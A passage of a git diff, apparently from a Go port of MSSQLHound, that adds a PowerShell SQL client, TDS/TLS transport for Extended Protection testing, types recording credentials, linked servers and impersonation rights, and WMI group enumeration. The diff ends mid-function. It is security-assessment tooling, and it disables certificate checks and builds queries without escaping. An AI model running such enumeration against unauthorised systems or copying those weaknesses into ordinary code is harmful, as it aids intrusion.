+ encoded := utf16.Encode([]rune(s))
+ b := make([]byte, 2*len(encoded))
+ for i, r := range encoded {
+ b[2*i] = byte(r)
+ b[2*i+1] = byte(r >> 8)
+ }
+ return b
+}
+
+// decodeUTF16LE decodes UTF-16LE bytes to a string.
+func decodeUTF16LE(b []byte) string {
+ if len(b)%2 != 0 {
+ b = b[:len(b)-1]
+ }
+ u16 := make([]uint16, len(b)/2)
+ for i := range u16 {
+ u16[i] = binary.LittleEndian.Uint16(b[2*i : 2*i+2])
+ }
+ return string(utf16.Decode(u16))
+}
diff --git a/go/internal/mssql/powershell_fallback.go b/go/internal/mssql/powershell_fallback.go
new file mode 100644
index 0000000..e3317e8
--- /dev/null
+++ b/go/internal/mssql/powershell_fallback.go
@@ -0,0 +1,313 @@
+// Package mssql provides SQL Server connection and data collection functionality.
+package mssql
+
+import (
+ "bytes"
+ "context"
+ "encoding/json"
+ "fmt"
+ "os/exec"
+ "regexp"
+ "strings"
+ "time"
+)
+
+// extractPowerShellError extracts the meaningful error message from PowerShell stderr output
+// PowerShell stderr includes the full script and verbose error info - we just want the exception message
+func extractPowerShellError(stderr string) string {
+ // Look for the exception message pattern from Write-Error output
+ // Example: 'Exception calling "Open" with "0" argument(s): "Login failed for user 'AD005\Z004HYMU-A01'."'
+
+ // Try to find the actual exception message
+ if idx := strings.Index(stderr, "Exception calling"); idx != -1 {
+ // Extract from "Exception calling" to the end of that line or next major section
+ rest := stderr[idx:]
+ // Find the quoted error message
+ re := regexp.MustCompile(`"([^"]+)"[^"]*$`)
+ if matches := re.FindStringSubmatch(strings.Split(rest, "\n")[0]); len(matches) > 1 {
+ return matches[1]
+ }
+ // Just return the first line
+ if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 {
+ return strings.TrimSpace(rest[:nlIdx])
+ }
+ return strings.TrimSpace(rest)
+ }
+
+ // Look for common SQL error patterns
+ if idx := strings.Index(stderr, "Login failed"); idx != -1 {
+ rest := stderr[idx:]
+ if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 {
+ return strings.TrimSpace(rest[:nlIdx])
+ }
+ return strings.TrimSpace(rest)
+ }
+
+ // Fallback: return first non-empty line that doesn't look like script content
+ lines := strings.Split(stderr, "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+ // Skip lines that look like script content
+ if strings.HasPrefix(line, "$") || strings.HasPrefix(line, "try") ||
+ strings.HasPrefix(line, "}") || strings.HasPrefix(line, "#") ||
+ strings.HasPrefix(line, "if") || strings.HasPrefix(line, "foreach") {
+ continue
+ }
+ return line
+ }
+
+ return strings.TrimSpace(stderr)
+}
+
+// PowerShellClient provides SQL Server connectivity using PowerShell and System.Data.SqlClient
+// as a fallback when go-mssqldb fails with SSPI/Kerberos authentication issues.
+type PowerShellClient struct {
+ serverInstance string
+ hostname string
+ port int
+ instanceName string
+ userID string
+ password string
+ useWindowsAuth bool
+ verbose bool
+}
+
+// NewPowerShellClient creates a new PowerShell-based SQL client
+func NewPowerShellClient(serverInstance, userID, password string) *PowerShellClient {
+ hostname, port, instanceName := parseServerInstance(serverInstance)
+
+ return &PowerShellClient{
+ serverInstance: serverInstance,
+ hostname: hostname,
+ port: port,
+ instanceName: instanceName,
+ userID: userID,
+ password: password,
+ useWindowsAuth: userID == "" && password == "",
+ }
+}
+
+// SetVerbose enables or disables verbose logging
+func (p *PowerShellClient) SetVerbose(verbose bool) {
+ p.verbose = verbose
+}
+
+// logVerbose logs a message only if verbose mode is enabled
+func (p *PowerShellClient) logVerbose(format string, args ...interface{}) {
+ if p.verbose {
+ fmt.Printf(format+"\n", args...)
+ }
+}
+
+// buildConnectionString creates the .NET SqlClient connection string
+func (p *PowerShellClient) buildConnectionString() string {
+ var parts []string
+
+ // Build server string
+ server := p.hostname
+ if p.instanceName != "" {
+ server = fmt.Sprintf("%s\\%s", p.hostname, p.instanceName)
+ } else if p.port > 0 && p.port != 1433 {
+ server = fmt.Sprintf("%s,%d", p.hostname, p.port)
+ }
+ parts = append(parts, fmt.Sprintf("Server=%s", server))
+
+ if p.useWindowsAuth {
+ parts = append(parts, "Integrated Security=True")
+ } else {
+ parts = append(parts, fmt.Sprintf("User Id=%s", p.userID))
+ parts = append(parts, fmt.Sprintf("Password=%s", p.password))
+ }
+
+ parts = append(parts, "TrustServerCertificate=True")
+ parts = append(parts, "Application Name=MSSQLHound")
+
+ return strings.Join(parts, ";")
+}
+
+// TestConnection tests if PowerShell can connect to the server
+func (p *PowerShellClient) TestConnection(ctx context.Context) error {
+ query := "SELECT 1 AS test"
+ _, err := p.ExecuteQuery(ctx, query)
+ return err
+}
+
+// QueryResult represents a row of query results
+type QueryResult map[string]interface{}
+
+// QueryResponse includes both results and column order
+type QueryResponse struct {
+ Columns []string `json:"columns"`
+ Rows []QueryResult `json:"rows"`
+}
+
+// ExecuteQuery executes a SQL query using PowerShell and returns the results as JSON
+func (p *PowerShellClient) ExecuteQuery(ctx context.Context, query string) (*QueryResponse, error) {
+ connStr := p.buildConnectionString()
+
+ // PowerShell script that executes the query and returns JSON with column order preserved
+ // Note: The SQL query is placed in a here-string (@' ... '@) which preserves
+ // content literally - no escaping needed. Only the connection string needs escaping.
+ psScript := fmt.Sprintf(`
+$ErrorActionPreference = 'Stop'
+try {
+ $conn = New-Object System.Data.SqlClient.SqlConnection
+ $conn.ConnectionString = '%s'
+ $conn.Open()
+
+ $cmd = $conn.CreateCommand()
+ $cmd.CommandText = @'
+%s
+'@
+ $cmd.CommandTimeout = 120
+
+ $adapter = New-Object System.Data.SqlClient.SqlDataAdapter($cmd)
+ $dataset = New-Object System.Data.DataSet
+ [void]$adapter.Fill($dataset)
+
+ $response = @{
+ columns = @()
+ rows = @()
+ }
+
+ if ($dataset.Tables.Count -gt 0) {
+ # Get column names in order
+ foreach ($col in $dataset.Tables[0].Columns) {
+ $response.columns += $col.ColumnName
+ }
+
+ foreach ($row in $dataset.Tables[0].Rows) {
+ $obj = @{}
+ foreach ($col in $dataset.Tables[0].Columns) {
+ $val = $row[$col.ColumnName]
+ if ($val -is [DBNull]) {
+ $obj[$col.ColumnName] = $null
+ } elseif ($val -is [byte[]]) {
+ $obj[$col.ColumnName] = "0x" + [BitConverter]::ToString($val).Replace("-", "")
+ } else {
+ $obj[$col.ColumnName] = $val
+ }
+ }
+ $response.rows += $obj
+ }
+ }
+
+ $conn.Close()
+ $response | ConvertTo-Json -Depth 10 -Compress
+} catch {
+ Write-Error $_.Exception.Message
+ exit 1
+}
+`, strings.ReplaceAll(connStr, "'", "''"), query)
+
+ // Create command with timeout
+ cmdCtx, cancel := context.WithTimeout(ctx, 2*time.Minute)
+ defer cancel()
+
+ cmd := exec.CommandContext(cmdCtx, "powershell", "-NoProfile", "-NonInteractive", "-Command", psScript)
+
+ var stdout, stderr bytes.Buffer
+ cmd.Stdout = &stdout
+ cmd.Stderr = &stderr
+
+ err := cmd.Run()
+ if err != nil {
+ errMsg := extractPowerShellError(stderr.String())
+ if errMsg == "" {
+ errMsg = err.Error()
+ }
+ return nil, fmt.Errorf("PowerShell: %s", errMsg)
+ }
+
+ output := strings.TrimSpace(stdout.String())
+ if output == "" || output == "null" {
+ return &QueryResponse{Columns: []string{}, Rows: []QueryResult{}}, nil
+ }
+
+ // Parse JSON result - now expects {columns: [...], rows: [...]}
+ var response QueryResponse
+ err = json.Unmarshal([]byte(output), &response)
+ if err != nil {
+ return nil, fmt.Errorf("failed to parse PowerShell output: %w", err)
+ }
+
+ return &response, nil
+}
+
+// ExecuteScalar executes a query and returns a single value
+func (p *PowerShellClient) ExecuteScalar(ctx context.Context, query string) (interface{}, error) {
+ response, err := p.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ if len(response.Rows) == 0 || len(response.Columns) == 0 {
+ return nil, nil
+ }
+ // Return first column of first row (using column order)
+ firstCol := response.Columns[0]
+ return response.Rows[0][firstCol], nil
+}
+
+// GetString helper to get string value from QueryResult
+func (r QueryResult) GetString(key string) string {
+ if v, ok := r[key]; ok && v != nil {
+ switch val := v.(type) {
+ case string:
+ return val
+ case float64:
+ return fmt.Sprintf("%.0f", val)
+ default:
+ return fmt.Sprintf("%v", val)
+ }
+ }
+ return ""
+}
+
+// GetInt helper to get int value from QueryResult
+func (r QueryResult) GetInt(key string) int {
+ if v, ok := r[key]; ok && v != nil {
+ switch val := v.(type) {
+ case float64:
+ return int(val)
+ case int:
+ return val
+ case int64:
+ return int(val)
+ case string:
+ i, _ := fmt.Sscanf(val, "%d", new(int))
+ return i
+ }
+ }
+ return 0
+}
+
+// GetBool helper to get bool value from QueryResult
+func (r QueryResult) GetBool(key string) bool {
+ if v, ok := r[key]; ok && v != nil {
+ switch val := v.(type) {
+ case bool:
+ return val
+ case float64:
+ return val != 0
+ case int:
+ return val != 0
+ case string:
+ return strings.ToLower(val) == "true" || val == "1"
+ }
+ }
+ return false
+}
+
+// IsUntrustedDomainError checks if the error is the "untrusted domain" SSPI error
+func IsUntrustedDomainError(err error) bool {
+ if err == nil {
+ return false
+ }
+ errStr := strings.ToLower(err.Error())
+ return strings.Contains(errStr, "untrusted domain") ||
+ strings.Contains(errStr, "cannot be used with windows authentication") ||
+ strings.Contains(errStr, "cannot be used with integrated authentication")
+}
diff --git a/go/internal/mssql/tds_transport.go b/go/internal/mssql/tds_transport.go
new file mode 100644
index 0000000..af56156
--- /dev/null
+++ b/go/internal/mssql/tds_transport.go
@@ -0,0 +1,214 @@
+// Package mssql - TDS transport layer for raw EPA testing.
+// Implements TDS packet framing and TLS-over-TDS handshake adapter.
+package mssql
+
+import (
+ "bytes"
+ "crypto/tls"
+ "encoding/binary"
+ "fmt"
+ "io"
+ "net"
+ "time"
+)
+
+// TDS packet types
+const (
+ tdsPacketTabularResult byte = 0x04
+ tdsPacketLogin7 byte = 0x10
+ tdsPacketSSPI byte = 0x11
+ tdsPacketPrelogin byte = 0x12
+)
+
+// TDS header size
+const tdsHeaderSize = 8
+
+// Maximum TDS packet size for EPA testing
+const tdsMaxPacketSize = 4096
+
+// tdsConn wraps a net.Conn with TDS packet-level read/write.
+type tdsConn struct {
+ conn net.Conn
+}
+
+func newTDSConn(conn net.Conn) *tdsConn {
+ return &tdsConn{conn: conn}
+}
+
+// sendPacket sends a complete TDS packet with the given type and payload.
+func (t *tdsConn) sendPacket(packetType byte, payload []byte) error {
+ maxPayload := tdsMaxPacketSize - tdsHeaderSize
+ offset := 0
+ for offset < len(payload) {
+ end := offset + maxPayload
+ isLast := end >= len(payload)
+ if isLast {
+ end = len(payload)
+ }
+
+ chunk := payload[offset:end]
+ pktLen := tdsHeaderSize + len(chunk)
+
+ status := byte(0x00)
+ if isLast {
+ status = 0x01 // EOM
+ }
+
+ hdr := [tdsHeaderSize]byte{
+ packetType,
+ status,
+ byte(pktLen >> 8), byte(pktLen), // Length big-endian
+ 0x00, 0x00, // SPID
+ 0x00, // PacketID
+ 0x00, // Window
+ }
+
+ if _, err := t.conn.Write(hdr[:]); err != nil {
+ return fmt.Errorf("TDS write header: %w", err)
+ }
+ if _, err := t.conn.Write(chunk); err != nil {
+ return fmt.Errorf("TDS write payload: %w", err)
+ }
+
+ offset = end
+ }
+ return nil
+}
+
+// readFullPacket reads all TDS packets until EOM, returning concatenated payload.
+func (t *tdsConn) readFullPacket() (byte, []byte, error) {
+ var result []byte
+ var packetType byte
+
+ for {
+ hdr := make([]byte, tdsHeaderSize)
+ if _, err := io.ReadFull(t.conn, hdr); err != nil {
+ return 0, nil, fmt.Errorf("TDS read header: %w", err)
+ }
+
+ packetType = hdr[0]
+ status := hdr[1]
+ pktLen := int(binary.BigEndian.Uint16(hdr[2:4]))
+
+ if pktLen < tdsHeaderSize {
+ return 0, nil, fmt.Errorf("TDS packet length %d too small", pktLen)
+ }
+
+ payloadLen := pktLen - tdsHeaderSize
+ if payloadLen > 0 {
+ payload := make([]byte, payloadLen)
+ if _, err := io.ReadFull(t.conn, payload); err != nil {
+ return 0, nil, fmt.Errorf("TDS read payload: %w", err)
+ }
+ result = append(result, payload...)
+ }
+
+ if status&0x01 != 0 { // EOM
+ break
+ }
+ }
+
+ return packetType, result, nil
+}
+
+// tlsOverTDSConn implements net.Conn to wrap TLS handshake traffic inside
+// TDS PRELOGIN (0x12) packets. This is passed to tls.Client() during the
+// TLS-over-TDS handshake phase.
+type tlsOverTDSConn struct {
+ tds *tdsConn
+ readBuf bytes.Buffer
+}
+
+func (c *tlsOverTDSConn) Read(b []byte) (int, error) {
+ // If we have buffered data from a previous TDS packet, return it first
+ if c.readBuf.Len() > 0 {
+ return c.readBuf.Read(b)
+ }
+
+ // Read a TDS packet and buffer the payload (TLS record data)
+ _, payload, err := c.tds.readFullPacket()
+ if err != nil {
+ return 0, err
+ }
+
+ c.readBuf.Write(payload)
+ return c.readBuf.Read(b)
+}
+
+func (c *tlsOverTDSConn) Write(b []byte) (int, error) {
+ // Wrap TLS data in a TDS PRELOGIN packet
+ if err := c.tds.sendPacket(tdsPacketPrelogin, b); err != nil {
+ return 0, err
+ }
+ return len(b), nil
+}
+
+func (c *tlsOverTDSConn) Close() error { return c.tds.conn.Close() }
+func (c *tlsOverTDSConn) LocalAddr() net.Addr { return c.tds.conn.LocalAddr() }
+func (c *tlsOverTDSConn) RemoteAddr() net.Addr { return c.tds.conn.RemoteAddr() }
+func (c *tlsOverTDSConn) SetDeadline(t time.Time) error { return c.tds.conn.SetDeadline(t) }
+func (c *tlsOverTDSConn) SetReadDeadline(t time.Time) error { return c.tds.conn.SetReadDeadline(t) }
+func (c *tlsOverTDSConn) SetWriteDeadline(t time.Time) error { return c.tds.conn.SetWriteDeadline(t) }
+
+// switchableConn allows swapping the underlying connection after TLS handshake.
+// During handshake, it delegates to tlsOverTDSConn. After handshake, it delegates
+// to the raw TCP connection for ENCRYPT_OFF or stays on TLS for ENCRYPT_REQ.
+type switchableConn struct {
+ c net.Conn
+}
+
+func (s *switchableConn) Read(b []byte) (int, error) { return s.c.Read(b) }
+func (s *switchableConn) Write(b []byte) (int, error) { return s.c.Write(b) }
+func (s *switchableConn) Close() error { return s.c.Close() }
+func (s *switchableConn) LocalAddr() net.Addr { return s.c.LocalAddr() }
+func (s *switchableConn) RemoteAddr() net.Addr { return s.c.RemoteAddr() }
+func (s *switchableConn) SetDeadline(t time.Time) error { return s.c.SetDeadline(t) }
+func (s *switchableConn) SetReadDeadline(t time.Time) error { return s.c.SetReadDeadline(t) }
+func (s *switchableConn) SetWriteDeadline(t time.Time) error { return s.c.SetWriteDeadline(t) }
+
+// performTLSHandshake establishes TLS over TDS and returns the tls.Conn.
+// The switchable conn allows the caller to swap back to raw TCP after handshake
+// (needed for ENCRYPT_OFF where TLS is only used during LOGIN7).
+func performTLSHandshake(tds *tdsConn, serverName string) (*tls.Conn, *switchableConn, error) {
+ handshakeAdapter := &tlsOverTDSConn{tds: tds}
+ sw := &switchableConn{c: handshakeAdapter}
+
+ tlsConfig := &tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server
+ // Disable dynamic record sizing for TDS compatibility
+ DynamicRecordSizingDisabled: true,
+ }
+
+ tlsConn := tls.Client(sw, tlsConfig)
+ if err := tlsConn.Handshake(); err != nil {
+ return nil, nil, fmt.Errorf("TLS handshake failed: %w", err)
+ }
+
+ // After handshake, switch underlying connection to raw TCP.
+ // TLS records now go directly on the wire (no TDS wrapping).
+ sw.c = tds.conn
+
+ return tlsConn, sw, nil
+}
+
+// performDirectTLSHandshake establishes TLS directly on the TCP connection
+// for TDS 8.0 strict encryption mode. Unlike performTLSHandshake which wraps
+// TLS records inside TDS PRELOGIN packets, this does a standard TLS handshake
+// on the raw socket (like HTTPS). All subsequent TDS messages are sent through
+// the TLS connection.
+func performDirectTLSHandshake(conn net.Conn, serverName string) (*tls.Conn, error) {
+ tlsConfig := &tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server
+ // Disable dynamic record sizing for TDS compatibility
+ DynamicRecordSizingDisabled: true,
+ }
+
+ tlsConn := tls.Client(conn, tlsConfig)
+ if err := tlsConn.Handshake(); err != nil {
+ return nil, fmt.Errorf("TLS handshake failed: %w", err)
+ }
+
+ return tlsConn, nil
+}
diff --git a/go/internal/types/types.go b/go/internal/types/types.go
new file mode 100644
index 0000000..12eab1d
--- /dev/null
+++ b/go/internal/types/types.go
@@ -0,0 +1,239 @@
+// Package types defines the core data structures used throughout MSSQLHound.
+// These types mirror the data structures from the PowerShell version and are
+// used for SQL Server collection, BloodHound output, and Active Directory integration.
+package types
+
+import (
+ "time"
+)
+
+// ServerInfo represents a SQL Server instance and all collected data
+type ServerInfo struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Hostname string `json:"hostname"`
+ ServerName string `json:"serverName"`
+ SQLServerName string `json:"sqlServerName"` // Display name for BloodHound
+ InstanceName string `json:"instanceName"`
+ Port int `json:"port"`
+ Version string `json:"version"`
+ VersionNumber string `json:"versionNumber"`
+ ProductLevel string `json:"productLevel"`
+ Edition string `json:"edition"`
+ IsClustered bool `json:"isClustered"`
+ IsMixedModeAuth bool `json:"isMixedModeAuth"`
+ ForceEncryption string `json:"forceEncryption,omitempty"`
+ StrictEncryption string `json:"strictEncryption,omitempty"`
+ ExtendedProtection string `json:"extendedProtection,omitempty"`
+ ComputerSID string `json:"computerSID"`
+ DomainSID string `json:"domainSID"`
+ FQDN string `json:"fqdn"`
+ SPNs []string `json:"spns,omitempty"`
+ ServiceAccounts []ServiceAccount `json:"serviceAccounts,omitempty"`
+ Credentials []Credential `json:"credentials,omitempty"`
+ ProxyAccounts []ProxyAccount `json:"proxyAccounts,omitempty"`
+ ServerPrincipals []ServerPrincipal `json:"serverPrincipals,omitempty"`
+ Databases []Database `json:"databases,omitempty"`
+ LinkedServers []LinkedServer `json:"linkedServers,omitempty"`
+ LocalGroupsWithLogins map[string]*LocalGroupInfo `json:"localGroupsWithLogins,omitempty"` // keyed by principal ObjectIdentifier
+}
+
+// LocalGroupInfo holds information about a local Windows group and its domain members
+type LocalGroupInfo struct {
+ Principal *ServerPrincipal `json:"principal"`
+ Members []LocalGroupMember `json:"members,omitempty"`
+}
+
+// LocalGroupMember represents a domain member of a local Windows group
+type LocalGroupMember struct {
+ Domain string `json:"domain"`
+ Name string `json:"name"`
+ SID string `json:"sid,omitempty"`
+}
+
+// ServiceAccount represents a SQL Server service account
+type ServiceAccount struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Name string `json:"name"`
+ ServiceName string `json:"serviceName"`
+ ServiceType string `json:"serviceType"`
+ StartupType string `json:"startupType"`
+ SID string `json:"sid,omitempty"`
+ ConvertedFromBuiltIn bool `json:"convertedFromBuiltIn,omitempty"` // True if converted from LocalSystem, NT AUTHORITY\*, etc.
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// ServerPrincipal represents a server-level principal (login or server role)
+type ServerPrincipal struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ PrincipalID int `json:"principalId"`
+ Name string `json:"name"`
+ TypeDescription string `json:"typeDescription"`
+ IsDisabled bool `json:"isDisabled"`
+ IsFixedRole bool `json:"isFixedRole"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ DefaultDatabaseName string `json:"defaultDatabaseName,omitempty"`
+ SecurityIdentifier string `json:"securityIdentifier,omitempty"`
+ IsActiveDirectoryPrincipal bool `json:"isActiveDirectoryPrincipal"`
+ SQLServerName string `json:"sqlServerName"`
+ OwningPrincipalID int `json:"owningPrincipalId,omitempty"`
+ OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"`
+ MemberOf []RoleMembership `json:"memberOf,omitempty"`
+ Members []string `json:"members,omitempty"`
+ Permissions []Permission `json:"permissions,omitempty"`
+ DatabaseUsers []string `json:"databaseUsers,omitempty"`
+ MappedCredential *Credential `json:"mappedCredential,omitempty"` // Credential mapped via ALTER LOGIN ... WITH CREDENTIAL
+}
+
+// RoleMembership represents membership in a role
+type RoleMembership struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Name string `json:"name,omitempty"`
+ PrincipalID int `json:"principalId,omitempty"`
+}
+
+// Permission represents a granted or denied permission
+type Permission struct {
+ Permission string `json:"permission"`
+ State string `json:"state"` // GRANT, GRANT_WITH_GRANT_OPTION, DENY
+ ClassDesc string `json:"classDesc"`
+ TargetPrincipalID int `json:"targetPrincipalId,omitempty"`
+ TargetObjectIdentifier string `json:"targetObjectIdentifier,omitempty"`
+ TargetName string `json:"targetName,omitempty"`
+}
+
+// Database represents a SQL Server database
+type Database struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ DatabaseID int `json:"databaseId"`
+ Name string `json:"name"`
+ OwnerPrincipalID int `json:"ownerPrincipalId,omitempty"`
+ OwnerLoginName string `json:"ownerLoginName,omitempty"`
+ OwnerObjectIdentifier string `json:"ownerObjectIdentifier,omitempty"`
+ CreateDate time.Time `json:"createDate"`
+ CompatibilityLevel int `json:"compatibilityLevel"`
+ CollationName string `json:"collationName,omitempty"`
+ IsReadOnly bool `json:"isReadOnly"`
+ IsTrustworthy bool `json:"isTrustworthy"`
+ IsEncrypted bool `json:"isEncrypted"`
+ SQLServerName string `json:"sqlServerName"`
+ DatabasePrincipals []DatabasePrincipal `json:"databasePrincipals,omitempty"`
+ DBScopedCredentials []DBScopedCredential `json:"dbScopedCredentials,omitempty"`
+}
+
+// DatabasePrincipal represents a database-level principal
+type DatabasePrincipal struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ PrincipalID int `json:"principalId"`
+ Name string `json:"name"`
+ TypeDescription string `json:"typeDescription"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ IsFixedRole bool `json:"isFixedRole"`
+ OwningPrincipalID int `json:"owningPrincipalId,omitempty"`
+ OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"`
+ DefaultSchemaName string `json:"defaultSchemaName,omitempty"`
+ DatabaseName string `json:"databaseName"`
+ SQLServerName string `json:"sqlServerName"`
+ ServerLogin *ServerLoginRef `json:"serverLogin,omitempty"`
+ MemberOf []RoleMembership `json:"memberOf,omitempty"`
+ Members []string `json:"members,omitempty"`
+ Permissions []Permission `json:"permissions,omitempty"`
+}
+
+// ServerLoginRef is a reference to a server login from a database user
+type ServerLoginRef struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Name string `json:"name"`
+ PrincipalID int `json:"principalId"`
+}
+
+// DBScopedCredential represents a database-scoped credential
+type DBScopedCredential struct {
+ CredentialID int `json:"credentialId"`
+ Name string `json:"name"`
+ CredentialIdentity string `json:"credentialIdentity"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// LinkedServer represents a linked server configuration
+type LinkedServer struct {
+ ServerID int `json:"serverId"`
+ Name string `json:"name"`
+ Product string `json:"product"`
+ Provider string `json:"provider"`
+ DataSource string `json:"dataSource"`
+ Catalog string `json:"catalog,omitempty"`
+ IsLinkedServer bool `json:"isLinkedServer"`
+ IsRemoteLoginEnabled bool `json:"isRemoteLoginEnabled"`
+ IsRPCOutEnabled bool `json:"isRpcOutEnabled"`
+ IsDataAccessEnabled bool `json:"isDataAccessEnabled"`
+ LocalLogin string `json:"localLogin,omitempty"`
+ RemoteLogin string `json:"remoteLogin,omitempty"`
+ IsSelfMapping bool `json:"isSelfMapping"`
+ ResolvedObjectIdentifier string `json:"resolvedObjectIdentifier,omitempty"` // Target server ObjectIdentifier
+ RemoteIsSysadmin bool `json:"remoteIsSysadmin,omitempty"`
+ RemoteIsSecurityAdmin bool `json:"remoteIsSecurityAdmin,omitempty"`
+ RemoteHasControlServer bool `json:"remoteHasControlServer,omitempty"`
+ RemoteHasImpersonateAnyLogin bool `json:"remoteHasImpersonateAnyLogin,omitempty"`
+ RemoteIsMixedMode bool `json:"remoteIsMixedMode,omitempty"`
+ UsesImpersonation bool `json:"usesImpersonation,omitempty"`
+ SourceServer string `json:"sourceServer,omitempty"` // Hostname of the server this linked server was discovered from
+ Path string `json:"path,omitempty"` // Chain path for nested linked servers
+ RemoteCurrentLogin string `json:"remoteCurrentLogin,omitempty"` // Login used on the remote server
+}
+
+// ProxyAccount represents a SQL Agent proxy account
+type ProxyAccount struct {
+ ProxyID int `json:"proxyId"`
+ Name string `json:"name"`
+ CredentialID int `json:"credentialId"`
+ CredentialName string `json:"credentialName,omitempty"`
+ CredentialIdentity string `json:"credentialIdentity"`
+ Enabled bool `json:"enabled"`
+ Description string `json:"description,omitempty"`
+ Subsystems []string `json:"subsystems,omitempty"`
+ Logins []string `json:"logins,omitempty"`
+ ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// Credential represents a server-level credential
+type Credential struct {
+ CredentialID int `json:"credentialId"`
+ Name string `json:"name"`
+ CredentialIdentity string `json:"credentialIdentity"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// DomainPrincipal represents a resolved Active Directory principal
+type DomainPrincipal struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ SID string `json:"sid"`
+ Name string `json:"name"`
+ SAMAccountName string `json:"samAccountName,omitempty"`
+ DistinguishedName string `json:"distinguishedName,omitempty"`
+ UserPrincipalName string `json:"userPrincipalName,omitempty"`
+ DNSHostName string `json:"dnsHostName,omitempty"`
+ Domain string `json:"domain"`
+ ObjectClass string `json:"objectClass"` // user, group, computer
+ Enabled bool `json:"enabled"`
+ MemberOf []string `json:"memberOf,omitempty"`
+}
+
+// SPN represents a Service Principal Name
+type SPN struct {
+ ServiceClass string `json:"serviceClass"`
+ Hostname string `json:"hostname"`
+ Port string `json:"port,omitempty"`
+ InstanceName string `json:"instanceName,omitempty"`
+ FullSPN string `json:"fullSpn"`
+ AccountName string `json:"accountName"`
+ AccountSID string `json:"accountSid"`
+}
diff --git a/go/internal/wmi/wmi_stub.go b/go/internal/wmi/wmi_stub.go
new file mode 100644
index 0000000..5bf2669
--- /dev/null
+++ b/go/internal/wmi/wmi_stub.go
@@ -0,0 +1,22 @@
+//go:build !windows
+
+// Package wmi provides WMI-based enumeration of local group members.
+// This is a stub for non-Windows platforms.
+package wmi
+
+// GroupMember represents a member of a local group
+type GroupMember struct {
+ Domain string
+ Name string
+ SID string
+}
+
+// GetLocalGroupMembers is not available on non-Windows platforms
+func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) {
+ return nil, nil
+}
+
+// GetLocalGroupMembersWithFallback is not available on non-Windows platforms
+func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember {
+ return nil
+}
diff --git a/go/internal/wmi/wmi_windows.go b/go/internal/wmi/wmi_windows.go
new file mode 100644
index 0000000..00005f2
--- /dev/null
+++ b/go/internal/wmi/wmi_windows.go
@@ -0,0 +1,155 @@
+//go:build windows
+
+// Package wmi provides WMI-based enumeration of local group members on Windows.
+package wmi
+
+import (
+ "fmt"
+ "regexp"
+ "strings"
+
+ "github.com/go-ole/go-ole"
+ "github.com/go-ole/go-ole/oleutil"
+)
+
+// GroupMember represents a member of a local group
+type GroupMember struct {
+ Domain string
+ Name string
+ SID string
+}
+
+// GetLocalGroupMembers enumerates members of a local group on a remote computer using WMI
+func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) {
+ var members []GroupMember
+
+ // Always show which group we're enumerating
+ fmt.Printf("Enumerating members of local group: %s\n", groupName)
+
+ // Initialize COM
+ if err := ole.CoInitializeEx(0, ole.COINIT_MULTITHREADED); err != nil {
+ // Check if already initialized (error code 1 means S_FALSE - already initialized)
+ oleErr, ok := err.(*ole.OleError)
+ if !ok || oleErr.Code() != 1 {
+ return nil, fmt.Errorf("COM initialization failed: %w", err)
+ }
+ }
+ defer ole.CoUninitialize()
+
+ // Create WMI locator
+ unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator")
+ if err != nil {
+ return nil, fmt.Errorf("failed to create WMI locator: %w", err)
+ }
+ defer unknown.Release()
+
+ wmi, err := unknown.QueryInterface(ole.IID_IDispatch)
+ if err != nil {
+ return nil, fmt.Errorf("failed to query WMI interface: %w", err)
+ }
+ defer wmi.Release()
+
+ // Connect to remote WMI
+ // Format: \\computername\root\cimv2
+ wmiPath := fmt.Sprintf("\\\\%s\\root\\cimv2", computerName)
+ serviceRaw, err := oleutil.CallMethod(wmi, "ConnectServer", wmiPath)
+ if err != nil {
+ return nil, fmt.Errorf("failed to connect to WMI on %s: %w", computerName, err)
+ }
+ service := serviceRaw.ToIDispatch()
+ defer service.Release()
+
+ // Query for group members
+ // WMI query: SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='COMPUTERNAME',Name='GROUPNAME'"
+ query := fmt.Sprintf(`SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='%s',Name='%s'"`,
+ computerName, groupName)
+
+ resultRaw, err := oleutil.CallMethod(service, "ExecQuery", query)
+ if err != nil {
